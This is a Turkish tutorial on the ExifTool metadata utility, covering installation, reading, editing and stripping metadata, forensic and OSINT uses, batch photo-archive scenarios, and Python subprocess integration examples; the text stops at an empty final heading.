ExifTool Nedir? Dijital Adli Analiz ve Siber Güvenlik İçin
Dijital dünyada oluşturulan hemen her dosya, içerisinde görünmeyen bazı bilgiler barındırır. Bir fotoğrafın çekildiği tarih, kullanılan kamera modeli, GPS koordinatları, düzenleme geçmişi veya oluşturulduğu yazılım gibi bilgiler dosya içerisinde saklanabilir. Bu bilgilere Metadata (Üst Veri) adı verilir.
Bu metadata bilgilerini görüntülemek, düzenlemek ve analiz etmek için kullanılan en güçlü araçlardan biri ExifTool'dur.
Siber güvenlik uzmanları, dijital adli bilişim analistleri (DFIR), OSINT araştırmacıları ve güvenlik ekipleri tarafından yaygın olarak kullanılmaktadır.
ExifTool Nedir?
ExifTool, Phil Harvey tarafından geliştirilen açık kaynaklı bir metadata analiz aracıdır.
Desteklediği dosya türleri:
JPG
PNG
GIF
TIFF
HEIC
RAW görüntüler
PDF
DOCX
XLSX
PPTX
MP4
MOV
AVI
MP3
ZIP
Daha yüzlerce farklı format
Temel amaçları:
✔ Metadata okuma
✔ Metadata düzenleme
✔ Metadata silme
✔ Adli inceleme
✔ OSINT araştırmaları
✔ Dosya doğrulama
✔ Veri sızıntısı analizi
Siber Güvenlikte ExifTool Neden Önemlidir?
Bir saldırgan yanlışlıkla paylaştığı bir fotoğrafta:
GPS konumunu
Kamera modelini
İşletim sistemini
Kullanıcı adını
bırakmış olabilir.
Bir güvenlik uzmanı ExifTool ile bu bilgileri elde ederek:
Tehdit aktörünü profilleyebilir
Coğrafi konum tespiti yapabilir
Operasyonel güvenlik (OPSEC) hatalarını ortaya çıkarabilir
Kurulum
Kali Linux
sudo apt updatesudo apt install libimage-exiftool-perl -y
Kontrol:
exiftool -ver
Ubuntu
sudo apt install libimage-exiftool-perl
Windows
İndir:
https://exiftool.org
Ardından:
exiftool.exe
şeklinde kullanılabilir.
İlk Analiz
Örnek:
exiftool photo.jpg
Çıktı:
File Name : photo.jpgFile Size : 4.2 MBImage Width : 4032Image Height : 3024Make : AppleCamera Model Name : iPhone 15 ProCreate Date : 2026:05:30 18:22:11GPS Latitude : 39 deg 55' 12.12"GPS Longitude : 32 deg 51' 43.51"
Buradan:
Kamera markası
Kamera modeli
Tarih
GPS konumu
elde edilebilir.
Belirli Alanları Görüntüleme
Kamera Bilgisi
exiftool -model image.jpg
GPS Bilgileri
exiftool -gps:all image.jpg
Tarih Bilgileri
exiftool -time:all image.jpg
Yazılım Bilgileri
exiftool -software image.jpg
Bu bilgi görüntünün:
Photoshop
GIMP
Canva
gibi araçlarla düzenlenip düzenlenmediğini gösterebilir.
Tüm Metadata Grupları
exiftool -G image.jpg
Örnek:
[EXIF][IPTC][XMP][File][Composite]
Bu yöntem DFIR çalışmalarında oldukça kullanışlıdır.
JSON Formatında Çıktı Alma
SIEM sistemlerine aktarım için:
exiftool -json image.jpg
Çıktı:
[{"FileName":"image.jpg","Model":"Canon EOS R5","GPSLatitude":"39.9200","GPSLongitude":"32.8500"}]
CSV Formatı
exiftool -csv image.jpg
Kurumsal raporlama süreçlerinde sık kullanılır.
Klasör Analizi
Bir dizindeki tüm dosyaları tarama:
exiftool Downloads/
Recursive Tarama
Alt klasörler dahil:
exiftool -r Downloads/
OSINT Senaryosu
Bir gazetecinin paylaştığı fotoğraf:
exiftool image.jpg
Sonuç:
GPS LatitudeGPS Longitude
Koordinatlar alınarak haritada konum belirlenebilir.
Bu nedenle birçok kurum paylaşım öncesi metadata temizliği yapar.
Metadata Silme
Tüm Metadata
exiftool -all= image.jpg
Yeni dosya oluşturur:
image.jpg_original
Orijinal Dosyayı Korumadan
exiftool -overwrite_original -all= image.jpg
Metadata Düzenleme
Örnek:
exiftool -Author="Nuri Tiras" rapor.pdf
Tarih Değiştirme
exiftool "-DateTimeOriginal=2026:01:01 12:00:00" image.jpg
GPS Bilgisi Ekleme
exiftool \-GPSLatitude=39.9200 \-GPSLongitude=32.8500 \image.jpg
PDF Analizi
exiftool rapor.pdf
Çıktı:
CreatorProducerAuthorTitleCreateDate
Bu bilgiler:
Kullanılan yazılımı
Oluşturan kişiyi
Belge geçmişini
ortaya çıkarabilir.
Office Dosyaları Analizi
Word:
exiftool belge.docx
Excel:
exiftool tablo.xlsx
PowerPoint:
exiftool sunum.pptx
Elde edilebilecek bilgiler:
Şirket adı
Kullanıcı adı
Son düzenleyen kişi
Oluşturulma zamanı
Video Metadata Analizi
exiftool video.mp4
Örnek:
DurationGPS CoordinatesEncoderCreation DateFrame Rate
Mobil cihazlardan gelen videolarda GPS bilgisi bulunabilir.
Toplu Metadata Silme
Bir klasördeki tüm JPG dosyaları:
exiftool -all= *.jpg
Toplu Dönüştürme
Dosya isimlerini çekim tarihine göre değiştirme:
exiftool '-FileName<DateTimeOriginal' *.jpg
Örnek:
2026-05-01_153000.jpg
DFIR (Digital Forensics) Kullanımı
ExifTool şu durumlarda sık kullanılır:
Olay Müdahalesi
Şüpheli dosya analizi
Veri sızıntısı araştırmaları
İç tehdit incelemeleri
Adli İnceleme
Zaman çizelgesi oluşturma
Belge köken analizi
Kullanıcı aktivite takibi
Tehdit Avcılığı Senaryosu
Şüpheli PDF:
exiftool malware.pdf
Sonuç:
Creator: EvilPDF BuilderProducer: PDF Generator v3
Bu bilgiler tehdit aktörü altyapısının belirlenmesinde yardımcı olabilir.
ExifTool + Linux Komutları
Grep ile
exiftool image.jpg | grep GPS
Awk ile
exiftool image.jpg | awk '/GPS/'
JSON + jq
exiftool -json image.jpg | jq .
Bu yöntem SOC ve otomasyon ortamlarında yaygın kullanılır.
Güvenlik Uzmanları İçin En Faydalı 20 Komut
exiftool file.jpgexiftool -gps:all file.jpgexiftool -time:all file.jpgexiftool -G file.jpgexiftool -a file.jpgexiftool -u file.jpgexiftool -json file.jpgexiftool -csv file.jpgexiftool -all= file.jpgexiftool -r .exiftool -ext jpg .exiftool -ext pdf .exiftool -ext docx .exiftool -Author file.pdfexiftool -Creator file.pdfexiftool -Software file.jpgexiftool -Model file.jpgexiftool -overwrite_original -all= file.jpgexiftool '-FileName<DateTimeOriginal' *.jpgexiftool -ee video.mp4
ExifTool'ün Avantajları
Ücretsiz
Açık kaynak
Çok hızlı
Yüzlerce dosya formatı desteği
OSINT çalışmalarında etkili
DFIR süreçlerinde standart araçlardan biri
Linux, Windows ve macOS desteği
Sonuç
ExifTool, yalnızca bir fotoğraf metadata görüntüleme aracı değildir. Modern siber güvenlik operasyonlarında, dijital adli analizlerde, tehdit istihbaratı çalışmalarında ve OSINT araştırmalarında kritik rol oynayan profesyonel bir metadata analiz platformudur.
Bir güvenlik analisti için ExifTool bilgisi; yalnızca dosya incelemek değil, aynı zamanda veri sızıntılarını tespit etmek, tehdit aktörlerinin OPSEC hatalarını ortaya çıkarmak ve dijital delillerden anlamlı istihbarat üretmek anlamına gelir.
Komut satırı araçları ilk başta karmaşık görünebilir, ancak ExifTool dijital dosyalarınızın perde arkasındaki bilgileri (meta verileri) yönetmek için kullanabileceğiniz en güçlü, en esnek ve endüstri standardı haline gelmiş araçtır. Phil Harvey tarafından geliştirilen bu araç; fotoğraflar, videolar, ses dosyaları ve PDF'ler dâhil olmak üzere binlerce dosya formatını destekler.
1. ExifTool Nedir ve Neden Kullanılır?
Meta veri (Metadata), "veri hakkındaki veri"dir. Bir fotoğraf çektiğinizde kameranız dosyaya sadece görüntüyü değil; çekim tarihini, kamera modelini, diyafram/enstantane değerlerini, GPS konumunu ve hatta telif hakkı bilgilerini gizli etiketler (EXIF, IPTC, XMP) olarak kaydeder.
ExifTool şu durumlarda hayat kurtarır:
İnternete yüklemeden önce kişisel fotoğraflarınızdan konum (GPS) verilerini silmek.
Yanlış tarih ayarıyla çekilmiş binlerce fotoğrafın tarihini toplu olarak düzeltmek.
Fotoğraf arşivinizi çekim tarihine göre otomatik olarak klasörlere ayırmak ve yeniden adlandırmak.
Dosyalarınıza toplu olarak telif hakkı bilgisi eklemek.
2. Kurulum Aşaması
İşletim sisteminize göre ExifTool'u saniyeler içinde kurabilirsiniz:
Windows: Resmi web sitesinden (exiftool.org) Windows çalıştırılabilir dosyasını (.zip) indirin. Zipten çıkan
exiftool(-k).exedosyasının adınıexiftool.exeolarak değiştirin ve Windows klasörünüz (örneğinC:\Windows) gibi sistem yolunda olan bir klasöre kopyalayın.macOS: Terminal'i açın ve Homebrew kullanıyorsanız şu komutu girin:
brew install exiftoolLinux (Debian/Ubuntu): Terminale şu komutu girin:
sudo apt install libimage-exiftool-perl
3. Temel Kullanım: Meta Verileri Okuma
ExifTool komut satırından (Windows'ta CMD/PowerShell, Mac/Linux'ta Terminal) çalışır. Temel sözdizimi şu şekildedir: exiftool [seçenekler] [dosya_yolu]
Tüm meta verileri görüntülemek: En basit komuttur. Bir dosyanın içindeki tüm gizli bilgileri listeler.
exiftool resim.jpg
Belirli etiketleri (tag) filtrelemek: Sadece kameranın marka ve modelini veya çekim tarihini görmek istiyorsanız:
exiftool -Make -Model -CreateDate resim.jpg
Makine tarafından okunabilir çıktılar almak: Verileri bir yazılımla entegre edecekseniz, çıktıları HTML, CSV veya JSON olarak alabilirsiniz.
exiftool -json resim.jpg > veri.json
4. Orta Düzey: Meta Verileri Yazma ve Silme
ExifTool ile verileri değiştirmek oldukça basittir. Değer atamak için = işaretini kullanırız.
Yeni bir bilgi eklemek veya mevcut bilgiyi değiştirmek: Fotoğrafa yazar ve telif hakkı bilgisi ekleyelim:
exiftool -Artist="Ahmet Yılmaz" -Copyright="2026 Ahmet Yılmaz" resim.jpg
Tüm meta verileri silmek (Gizlilik için kritik): Bir fotoğrafı sosyal medyada paylaşmadan önce kameranızın seri numarasını, GPS konumunuzu ve diğer tüm kişisel verileri silmek için:
exiftool -all= resim.jpg
Önemli Not: ExifTool, veri kaybını önlemek için varsayılan olarak orijinal dosyanın yanına
resim.jpg_originaladında bir yedek oluşturur. Eğer yedek oluşturmasını istemiyorsanız komutun sonuna-overwrite_originalparametresini eklemelisiniz.
Toplu İşlem (Batch Processing):
Belirli bir klasördeki tüm fotoğrafların telif hakkını tek bir komutla değiştirmek için dosya adı yerine klasör yolunu (veya * işaretini) verebilirsiniz:
exiftool -Copyright="2026 Ahmet Yılmaz" /fotograflar/klasoru/
5. İleri Düzey: Otomasyon ve Veri Kopyalama
ExifTool'un gerçek gücü otomasyon yeteneklerinde gizlidir.
Dosyalar arası meta veri kopyalama: Düzenleme yaptığınız ve meta verilerini kaybeden bir TIFF veya JPEG dosyasına, orijinal RAW dosyasından verileri geri aktarmak için:
exiftool -TagsFromFile orijinal.CR2 duzenlenmis.jpg
Tarih ve Saat Kaydırma (Zaman Dilimi Düzeltme): Kameranızın saatini yanlış ayarladınız ve tüm fotoğraflar 2 saat, 30 dakika geride kalmış. Bunu toplu düzeltmek için:
exiftool "-AllDates+=0:0:0 2:30:0" klasor_yolu/
(Format: Yıl:Ay:Gün Saat:Dakika:Saniye şeklindedir)
Dosyaları çekim tarihine göre yeniden adlandırma:
Karmaşık isimli (örneğin IMG_1234.jpg) fotoğraflarınızı, içerdikleri çekim tarihine göre (örneğin 20260604_193847.jpg) otomatik yeniden adlandırmak için:
exiftool "-FileName<CreateDate" -d "%Y%m%d_%H%M%S.%%e" /klasor/yolu/
Altın Kurallar ve İpuçları
Test Edin: Büyük bir fotoğraf arşivinde işlem yapmadan önce, komutlarınızı her zaman birkaç kopyalanmış dosya üzerinde deneyin.
Etiket İsimlerini Doğru Bulun: Görmek istediğiniz etiketin tam kod adını bulmak için
exiftool -s resim.jpgkomutunu kullanın. Bu komut, açıklamaları değil, doğrudan etiket isimlerini (örn: ApertureValue) listeler.
Komut satırı araçlarının mantığını kavramanın en iyi yolu gerçek dünya problemlerini nasıl çözdüklerini görmektir. ExifTool'un esnekliğini tam olarak gösterebilmek için, fotoğrafçılık ve arşiv yönetimi süreçlerinde en sık karşılaşılan 4 farklı örnek senaryo hazırladım.
Senaryo 1: Sosyal Medya Öncesi Tam Gizlilik Temizliği
Durum: Telefonunuzla veya GPS özellikli kameranızla evinizde veya ofisinizde çektiğiniz fotoğrafları internette paylaşacaksınız. Ancak kötü niyetli kişilerin ev adresinizi (GPS verisi) veya cihazınızın seri numarasını bulmasını istemiyorsunuz.
Çözüm: Belirli bir klasördeki tüm .jpg dosyalarının sadece GPS (konum) verilerini temizlemek.
exiftool -gps:all= -overwrite_original /paylasilacak_fotograflar/
İpucu:
-gps:all=komutu konum verilerini silerken,-overwrite_originalparametresi yedek dosyalar oluşturmayarak diskinizde yer tasarrufu sağlar. Eğer kameranızın markası dahil her şeyi silmek isterseniz-all=kullanabilirsiniz.
Senaryo 2: Karmaşık Arşivi Yıl ve Aya Göre Otomatik Klasörleme
Durum: Bilgisayarınızdaki "Karışık Fotoğraflar" adlı bir klasörde son 5 yıla ait binlerce fotoğraf var. Hepsini tek tek ayırmak aylar sürer. Bunları otomatik olarak Yıl/Ay şeklindeki alt klasörlere (Örn: 2025/06) taşımak istiyorsunuz.
Çözüm: ExifTool ile fotoğrafların çekim tarihlerini okuyup bu tarihlere göre yeni dizinler (klasörler) oluşturarak dosyaları taşımak.
exiftool "-Directory<DateTimeOriginal" -d "%Y/%m" /karisik_fotograflar/
İpucu: ExifTool bu komutla
2025adında bir klasör, onun içine de06adında bir alt klasör açar ve o tarihte çekilmiş fotoğrafları otomatik olarak oraya taşır.
Senaryo 3: Çift Kameralı Çekimlerde Zaman Senkronizasyonu
Durum: Bir düğün veya etkinlikte iki farklı kamerayla (Kamera A ve Kamera B) çekim yaptınız. Düzenleme aşamasına geçtiğinizde, Kamera B'nin saatinin Kamera A'ya göre tam olarak 4 dakika 15 saniye geride olduğunu fark ettiniz. Fotoğrafları zaman akışına göre sıraladığınızda her şey birbirine giriyor.
Çözüm: Sadece Kamera B ile çekilen fotoğrafların saatini ileri sararak zamanı senkronize etmek.
exiftool "-AllDates+=0:0:0 0:4:15" /kamera_b_klasoru/
İpucu: Buradaki zaman formatı
Yıl:Ay:Gün Saat:Dakika:Saniyeşeklindedir. Sadece dakikayı ve saniyeyi değiştirdiğimiz için ilk bloğu0:0:0geçtik. Eğer saat ileri değil de geri olsaydı+=yerine-=kullanılırdı.
Senaryo 4: Müşteriye Teslim Öncesi Profesyonel Damgalama (IPTC Verisi)
Durum: Bir fotoğrafçısınız veya dijital ajanssınız. Düzenlediğiniz fotoğrafları bir müşteriye veya stok fotoğraf sitesine teslim edeceksiniz. Dosyaların içine adınızı, telif hakkı uyarınızı ve web sitenizi gömmek istiyorsunuz ki, fotoğraf internette nereye giderse gitsin size ait olduğu anlaşılsın.
Çözüm: IPTC ve EXIF etiketlerini kullanarak iletişim ve telif detaylarını tüm klasöre toplu olarak yazmak.
exiftool -Creator="Adınız Soyadınız" -CopyrightNotice="© 2026 Adınız Soyadınız - Tüm Hakları Saklıdır" -Contact="iletisim@siteniz.com" /teslimat_klasoru/ExifTool sadece fotoğrafçılar için değil; sistem yöneticileri, yazılım geliştiriciler ve güvenlik uzmanları için de vazgeçilmez bir araçtır. İşte biraz daha teknik ve farklı alanlara hitap eden senaryolar:
Senaryo 5: Siber Güvenlik ve Adli Bilişim (Blue Team / Forensics)
Durum: Bir siber güvenlik tatbikatında veya zararlı yazılım analizinde, şüpheli bir dosyanın (örneğin bir PDF veya JPEG) kaynağını tespit etmeniz gerekiyor. Standart araçlar dosyada şüpheli bir şey bulamadı, ancak gizli meta verilerde veya standart dışı (unknown) etiketlerde ipuçları olabilir.
Çözüm: ExifTool'u tüm standart dışı ve gizli etiketleri, kategorilerine göre gruplayarak zorla okutmak.
exiftool -a -u -g1 supheli_dosya.pdf
İpucu:
-aparametresi aynı isme sahip kopyalanmış etiketleri gösterir,-ubilinmeyen/standart dışı (unknown) etiketleri listeler,-g1ise çıktıları (XMP, EXIF, IPTC gibi) gruplayarak analizi kolaylaştırır.
Senaryo 6: Linux Sistem Yönetimi ve Toplu Raporlama
Durum: Laboratuvar ortamındaki veya /opt/ gibi paylaşımlı bir dizindeki yüzlerce dosyanın meta verilerini analiz edip bir envanter çıkarmanız gerekiyor. Dosya tiplerini, oluşturulma tarihlerini ve boyutlarını bir elektronik tabloda incelemek istiyorsunuz.
Çözüm: Tüm klasörü tarayıp, belirli meta verileri doğrudan bir CSV dosyasına aktarmak.
exiftool -csv -Directory -FileName -MIMEType -FileSize /opt/ortak_dizin/ > rapor.csv
İpucu: Bu komut, belirtilen dizindeki tüm dosyaları tarar ve sadece istediğiniz sütunları içeren temiz bir
rapor.csvdosyası oluşturur. Bash betikleriyle sistem otomasyonu yaparken harika bir veri kaynağıdır.
Senaryo 7: Web Geliştirme ve Blog SEO Optimizasyonu
Durum: Nginx üzerinden veya bir Django projesi aracılığıyla yayın yapacağınız kişisel blogunuz için görseller hazırlıyorsunuz. Görsellerin boyutunu küçültmek için gereksiz EXIF verilerini silmek, ancak SEO (Arama Motoru Optimizasyonu) için resimlere açıklama eklemek istiyorsunuz. Ayrıca dikey/yatay dönme (orientation) sorunu yaşamak istemiyorsunuz.
Çözüm: Tüm meta verileri silip, sadece yön bilgisini koruyarak özel bir "Açıklama" (Description) etiketi eklemek.
exiftool -all= -tagsfromfile @ -Orientation -Description="Pardus Kurulum ve Yapılandırma Rehberi" gorsel.jpg
İpucu:
-all=ile her şeyi sildikten sonra,-tagsfromfile @ -Orientationkısmı orijinal dosyadaki yön bilgisini geri getirir, böylece fotoğraf web sitenizde yan dönmez.
Senaryo 8: Öğrenci Dokümanları ve PDF Yönetimi
Durum: Hazırladığınız "Bitirme Projesi" yönergelerini veya sınav rubriklerini PDF olarak dışa aktardınız. Ancak PDF'in özelliklerine bakıldığında yazar kısmında bilgisayarınızın yerel kullanıcı adı (örneğin "user1") veya kullandığınız yazılımın adı görünüyor. Bunu profesyonel bir başlıkla değiştirmek istiyorsunuz.
Çözüm: PDF belgelerinin başlık, yazar ve konu meta verilerini düzenlemek.
exiftool -Title="2026 Bitirme Projesi Yönergesi" -Author="Nuri Hoca" -Subject="Bilişim Teknolojileri" proje_yonergesi.pdf
İpucu: ExifTool PDF dosyalarının meta verilerini de aynı fotoğraflar gibi kolayca okuyup değiştirebilir.
İşte yazılım geliştirme, sunucu yönetimi ve içerik üreticiliği gibi biraz daha spesifik alanlara odaklanan 4 ileri düzey senaryo daha:
Senaryo 9: İçerik Üreticileri İçin Video Meta Verisi (YouTube & Blog)
Durum: YouTube kanalınız veya blogunuz (örneğin nuritiras.com.tr) için eğitim videoları (MP4, MKV) hazırlıyorsunuz. Videonun içine telif hakkı eklemek ve başlık/açıklama verilerini platformların veya arama motorlarının (SEO) okuyabileceği şekilde doğrudan dosyaya gömmek istiyorsunuz. Çözüm: Sadece fotoğraflara değil, video dosyalarına da meta veri yazmak.
exiftool -Title="Pardus Ağ Yapılandırması" -Author="Nuri TIRAŞ" -Copyright="2026 nuritiras.com.tr" egitim_videosu.mp4
İpucu: Dosya başkaları tarafından indirilip başka bir yere yüklense bile, dosyanın özelliklerine bakıldığında orijinal yazar ve telif hakkı bilgileriniz videonun içerisinde kalır.
Senaryo 10: Python ve Django Projeleriyle Entegrasyon (JSON Parse Etme)
Durum: EtapMYS gibi Python tabanlı bir yönetim panelinde veya bir Django web projesinde, kullanıcıların yüklediği görsellerin çekim tarihi ve çözünürlük bilgilerini otomatik olarak bir veritabanına kaydetmek istiyorsunuz. ExifTool çıktılarını Python'un anlayacağı bir formata dönüştürmeniz gerekiyor. Çözüm: ExifTool'dan JSON formatında çıktı alıp, bunu arka planda işlemek.
exiftool -json -ImageWidth -ImageHeight -CreateDate resim.jpg
İpucu: Bu komutu Python içerisinde
subprocessmodülü ile çağırırsanız, dönen JSON çıktısını doğrudanjson.loads()fonksiyonu ile bir Python sözlüğüne (dictionary) dönüştürebilir ve Django modellerinize (models.py) kolayca kaydedebilirsiniz.
Senaryo 11: Şartlı İşlemler (Sadece Belirli Dosyaları Ayıklama)
Durum: NFS üzerinden yapılandırılmış, öğrencilerin veya öğretmenlerin dosya attığı ortak bir ağ klasöründe binlerce fotoğraf var. Siz sadece Apple cihazlarla (veya belirli bir kamera modeliyle) çekilmiş dosyaları bulup başka bir klasöre kopyalamak istiyorsunuz. Diğerlerine dokunulmamalı.
Çözüm: ExifTool'un mantıksal -if parametresini kullanarak belirli bir koşulu sağlayan dosyaları filtrelemek ve kopyalamak.
exiftool -if "$Make eq 'Apple'" -o /hedef_klasor/ /nfs_ortak_klasor/
İpucu: Komut satırındaki
$Makedeğişkeni kameranın markasını temsil eder. Koşul sağlanıyorsa-o(output) parametresi ile dosya hedef klasöre kopyalanır (orijinali yerinde kalır). Bu özellik, devasa veri yığınları arasında samanlıkta iğne aramak için birebirdir.
Senaryo 12: Hızlı Masaüstü ve Mobil Uygulamalar İçin Gömülü Önizleme Çıkartma
Durum: Flutter veya Tauri kullanarak çapraz platform bir uygulama geliştiriyorsunuz. Kullanıcının bilgisayarındaki 40-50 MB'lık büyük boyutlu yüksek çözünürlüklü görselleri uygulamada listelemeniz gerekiyor. Tüm dosyaları hafızaya (RAM) yüklemek uygulamayı donduracağı için, dosyaların içindeki küçük "thumbnail"leri çekmek istiyorsunuz. Çözüm: Orijinal dosyayı işlemeden, içine gömülü olan küçük önizleme görselini ikili veri (binary) olarak dışa aktarmak.
exiftool -b -ThumbnailImage devasa_foto.jpg > kucuk_onizleme.jpg
İpucu:
-b(binary) parametresi, metin verisi yerine doğrudan görselin ikili verisini dışarı aktarır. Bu sayede gigabaytlarca veriyi işlemek yerine, birkaç saniye içinde arayüzde gösterebileceğiniz hafif küçük resimler elde edersiniz.
ExifTool'u Python projelerinize entegre etmek, özellikle web uygulamalarında (Django, FastAPI) veya veri işleme betiklerinde arka planda otomasyon sağlamak için harika bir yöntemdir. Python'un yerleşik subprocess modülü sayesinde, harici bir kütüphaneye bağımlı kalmadan ExifTool komutlarını güvenli bir şekilde çalıştırabilir ve çıktısını doğrudan işleyebilirsiniz.
Aşağıda, bir görselin meta verilerini JSON formatında okuyan, parse eden (anlamlandıran) ve hata yönetimini de içeren kapsamlı bir örnek kod bulabilirsiniz.
1. Meta Verileri Okuma ve JSON İşleme Kodu
import subprocessimport jsonimport osimport shutildef get_image_metadata(file_path): """ Belirtilen dosyanın meta verilerini ExifTool kullanarak JSON formatında alır. """ # 1. Güvenlik Kontrolü: Dosya gerçekten var mı? if not os.path.exists(file_path): return {"error": f"Dosya bulunamadı: {file_path}"} # 2. Sistem Kontrolü: ExifTool sistemde kurulu mu? if not shutil.which("exiftool"): return {"error": "ExifTool sistemi bulunamadı. Lütfen terminalde 'exiftool' komutunun çalıştığından emin olun."} try: # ExifTool komutunu hazırlıyoruz: exiftool -json <dosya_yolu> # subprocess.run komutu, işlemin bitmesini bekler. result = subprocess.run( ["exiftool", "-json", file_path], stdout=subprocess.PIPE, # Standart çıktıyı (output) yakala stderr=subprocess.PIPE, # Hata çıktılarını yakala text=True, # Çıktıyı 'bytes' yerine 'string' (str) olarak al check=True # Komut başarısız olursa otomatik olarak CalledProcessError fırlat ) # ExifTool -json parametresi her zaman bir JSON Listesi (Array) döndürür. # Örn: [ { "SourceFile": "resim.jpg", "Model": "iPhone..." } ] metadata_list = json.loads(result.stdout) # Liste boş değilse, ilk elemanı (yani dosyamızın sözlüğünü) dönüyoruz if metadata_list and isinstance(metadata_list, list): return metadata_list[0] return {"error": "Meta veri listesi boş döndü."} except subprocess.CalledProcessError as e: # Komut satırı seviyesinde bir hata oluşursa (örn: dosya bozuksa) return {"error": f"ExifTool Hatası: {e.stderr.strip()}"} except json.JSONDecodeError: # Çıktı JSON formatına dönüştürülemezse return {"error": "ExifTool çıktısı JSON olarak ayrıştırılamadı."}# --- KULLANIM ÖRNEĞİ ---if __name__ == "__main__": # Test için örnek bir dosya yolu belirleyin ornek_dosya = "fotograf.jpg" # Gerçek senaryoda test etmek için bilgisayarınızdaki bir resmin adını yazın. # Kolaylık olsun diye geçici bir test dosyası oluşturalım (opsiyonel) with open(ornek_dosya, "w") as f: f.write("sahte resim verisi") print(f"--- {ornek_dosya} Analiz Ediliyor ---") data = get_image_metadata(ornek_dosya) # Eğer hata dönmediyse verileri ekrana yazdıralım if "error" not in data: print("Dosya Adı:", data.get("SourceFile")) print("Kamera Markası:", data.get("Make", "Bilinmiyor")) print("Kamera Modeli:", data.get("Model", "Bilinmiyor")) print("Çekim Tarihi:", data.get("CreateDate", "Veri Yok")) print("Görsel Boyutu:", f"{data.get('ImageWidth')}x{data.get('ImageHeight')}") # GPS verisi var mı kontrolü if "GPSLatitude" in data and "GPSLongitude" in data: print(f"Konum: {data['GPSLatitude']}, {data['GPSLongitude']}") else: print("Konum Bilgisi: Bu dosyada GPS verisi bulunmuyor.") else: print("Hata Oluştu:", data["error"]) # Temizlik (Oluşturduğumuz sahte dosyayı silelim) if os.path.exists(ornek_dosya): os.remove(ornek_dosya)2. Kodun Kritik Noktaları (Neden Böyle Yazdık?)
stdout=subprocess.PIPEvetext=True: ExifTool'un ekrana yazdıracağı metni yakalayıp Python içinde bir string değişkenine atamamızı sağlar.text=Truedemezsek veribytesolarak gelir vejson.loads()hata verebilir.check=True: Eğer ExifTool çalışırken bir sorun yaşarsa (örneğin işletim sistemi izin vermezse), Python'un sessiz kalmasını engeller ve doğrudanexcept subprocess.CalledProcessErrorbloğuna dallanmasını sağlar.data.get("Model", "Bilinmiyor"): Sözlükten (Dictionary) veri okurken asladata["Model"]şeklinde doğrudan okuma yapmayın. Eğer o fotoğrafta "Model" etiketi yoksa Python uygulamanız çöker (KeyError)..get()yöntemi etiket yoksa varsayılan olarak "Bilinmiyor" döndürür ve uygulamanız güvenle çalışmaya devam eder.
3. Bonus: Python ile Meta Veri Yazma (Değiştirme)
Eğer Python kullanarak bir dosyaya bilgi yazmak veya tüm verileri silmek isterseniz JSON çıktısına ihtiyacınız kalmaz. Komutu doğrudan çalıştırıp başarılı olup olmadığını kontrol etmeniz yeterlidir:
def update_copyright(file_path, artist_name): try: subprocess.run( ["exiftool", f"-Artist={artist_name}", f"-Copyright=© 2026 {artist_name}", "-overwrite_original", file_path], check=True, stdout=subprocess.DEVNULL, # Başarılı mesajlarını ekrana yazdırma (sessiz mod) stderr=subprocess.PIPE ) return True except subprocess.CalledProcessError as e: print(f"Güncelleme Hatası: {e.stderr}") return False⚡ Performans İçin Hayati Altın Kural
ExifTool'un başlatılması (Perl mimarisi üzerinde çalıştığı için) işlemci için bir miktar yük getirir (yaklaşık 0.1 - 0.2 saniye sürer).
Eğer 1000 tane fotoğrafı bir for döngüsüne alıp yukarıdaki fonksiyonu 1000 kere çağırırsanız programınız çok yavaş çalışır.
Çözüm: Döngü yerine, dosya yollarını bir liste halinde tek seferde ExifTool'a gönderin:
# Yavaş Yöntem (Kötü):for dosya in dosya_listesi: subprocess.run(["exiftool", "-json", dosya])# Hızlı Yöntem (Doğru):komut = ["exiftool", "-json"] + dosya_listesi # Tüm dosyaları tek komuta ekleresult = subprocess.run(komut, stdout=subprocess.PIPE, text=True)bütün_metadatalar = json.loads(result.stdout) # Size 1000 elemanlı tek bir JSON listesi döndürür! Python ile otomasyon yeteneklerini daha da ileriye taşıyan, doğrudan sistem yönetimi ve ağ mimarisiyle ilgili bir senaryo üzerinden gidelim.
Senaryo 13: Yönetim Panellerinde Uzaktan Alınan Ekran Görüntülerini Meta Verilerle Arşivleme
Durum: Diyelim ki EtapMYS gibi Python ve PyQt6 tabanlı, okuldaki akıllı tahtaları merkezi olarak kontrol eden bir yönetim paneli geliştiriyorsunuz. Ağdaki Pardus (Cinnamon) yüklü tahtalardan belirli aralıklarla veya şüpheli bir durumda uzaktan ekran görüntüsü (screenshot) alıyorsunuz.
Sadece dosya ismine tahta_15_10_02_26.jpg yazmak güvenilir bir arşivleme yöntemi değildir; dosyaların adı değişebilir veya başka bir klasöre taşındığında hangi laboratuvara veya tahtaya ait olduğu karışabilir.
Çözüm: Ekran görüntüsü panele ulaştığı anda, Python arka planında ExifTool'u çalıştırarak tahtanın IP adresini, MAC adresini ve o an oturum açmış olan öğretmenin adını doğrudan resim dosyasının içine (gizli meta veri olarak) kalıcı şekilde gömmek.
Python Entegrasyon Kodu:
import subprocessimport osdef tahta_goruntusune_veri_isleme(dosya_yolu, tahta_adi, ip_adresi, ogretmen_adi): """ Pardus tahtalardan alınan ekran görüntüsünün içine cihaz ve oturum bilgilerini gömer. """ if not os.path.exists(dosya_yolu): print(f"Hata: Görüntü dosyası bulunamadı -> {dosya_yolu}") return False # ExifTool komutları: # DocumentName -> Tahtanın Adı veya Numarası # Author -> Oturum açan öğretmenin adı # UserComment -> IP adresi ve ek teknik detaylar komut = [ "exiftool", f"-DocumentName={tahta_adi}", f"-Author={ogretmen_adi}", f"-UserComment=Kaynak IP: {ip_adresi}", "-overwrite_original", # Yedek dosya oluşturma, doğrudan üzerine yaz dosya_yolu ] try: # Komutu arka planda çalıştır (stdout'u yutarak sessizce hallet) subprocess.run(komut, check=True, stdout=subprocess.DEVNULL, stderr=subprocess.PIPE, text=True) print(f"Başarılı: {tahta_adi} ({ip_adresi}) verileri dosyaya gömüldü.") return True except subprocess.CalledProcessError as e: print(f"Meta veri yazma hatası: {e.stderr.strip()}") return False# --- KULLANIM ÖRNEĞİ ---# Ağ üzerinden gelen ekran görüntüsü geçici klasöre kaydedildiğinde:gelen_dosya = "/tmp/gecici_ekran_goruntusu.jpg"# Sistemin veritabanından veya SSH üzerinden çekilen bilgiler:islem_basarili_mi = tahta_goruntusune_veri_isleme( dosya_yolu=gelen_dosya, tahta_adi="Lab-2 Tahta-5", ip_adresi="192.168.1.105", ogretmen_adi="Hasan Dağ")Bu Senaryonun Sağladığı Avantajlar:
